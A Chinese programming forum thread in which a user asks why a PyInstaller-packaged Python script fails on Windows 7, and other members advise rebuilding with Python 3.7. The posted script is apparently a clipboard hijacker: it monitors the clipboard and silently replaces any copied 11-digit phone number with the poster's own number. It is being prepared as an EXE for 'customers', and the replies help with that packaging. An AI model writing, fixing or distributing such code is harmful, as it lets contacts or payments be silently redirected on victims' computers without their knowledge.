a2236451 发表于 2023-3-31 14:37:12

关于打包EXE文件后,所有WIN10电脑运行正常,但是客户在WIN7的系统运行提示缺少DLL

开发环境是WIN10的电脑,PYTHON是3.11.

代码如下


import pyperclip

# 替换为你的 11 位数据串
my_data = "152***********"

while True:
    # 监听剪贴板内容改变
    if pyperclip.waitForNewPaste():
      # 获取剪贴板内容
      data = pyperclip.paste()
      # 如果是 11 位数字串,则替换为你的数据串
      if data.isdigit() and len(data) == 11:
            pyperclip.copy(my_data)

------------------------------------------------------------------
问题就来了,打包成功,运行也成功, 所有的WIN10电脑都能成功运行

但是EXE发给WIN7用户的时候,就提示DLL缺失

1.需要用什么PYTHON版本开发呀,

2.怎么才能让WIN7的用户 也直接能使用


isdkz 发表于 2023-3-31 14:39:09

想让 win7 也能用的话,最高只能支持到 python3.8,python3.8 好像需要补丁

所以最好是 python3.7

a2236451 发表于 2023-3-31 14:40:11

isdkz 发表于 2023-3-31 14:39
想让 win7 也能用的话,最高只能支持到 python3.8,python3.8 好像需要补丁

所以最好是 python3.7

用python 3.7在打包一次就可以解决吗?

但是我安装一些模块的时候 始终提示需要更新到最新版本

isdkz 发表于 2023-3-31 14:42:32

a2236451 发表于 2023-3-31 14:40
用python 3.7在打包一次就可以解决吗?

但是我安装一些模块的时候 始终提示需要更新到最新版本

对的,你在 python3.7 用 pyinstaller 打包就可以解决了,记住先安装好你的python脚本所需要的库

你说的提示需要更新到最新版本是因为你的pip不是最新版本吧

a2236451 发表于 2023-3-31 14:44:45

isdkz 发表于 2023-3-31 14:42
对的,你在 python3.7 用 pyinstaller 打包就可以解决了,记住先安装好你的python脚本所需要的库

你 ...

稍等老哥 我去降低python版本 测试一下然后回复您

isdkz 发表于 2023-3-31 14:46:47

a2236451 发表于 2023-3-31 14:44
稍等老哥 我去降低python版本 测试一下然后回复您

ok

cflying 发表于 2023-3-31 15:00:08

要不你试试这个看可行不,不保证成功。
页: [1]
查看完整版本: 关于打包EXE文件后,所有WIN10电脑运行正常,但是客户在WIN7的系统运行提示缺少DLL